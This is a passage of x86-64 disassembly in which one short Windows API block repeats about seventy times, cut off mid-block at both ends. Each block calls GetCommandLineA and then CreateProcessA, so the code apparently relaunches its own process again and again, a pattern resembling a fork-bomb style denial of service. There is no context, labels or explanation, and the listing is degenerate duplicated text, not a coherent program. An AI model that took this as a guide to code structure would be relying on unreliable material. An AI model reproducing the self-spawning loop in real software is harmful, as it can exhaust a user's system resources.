mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x160]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
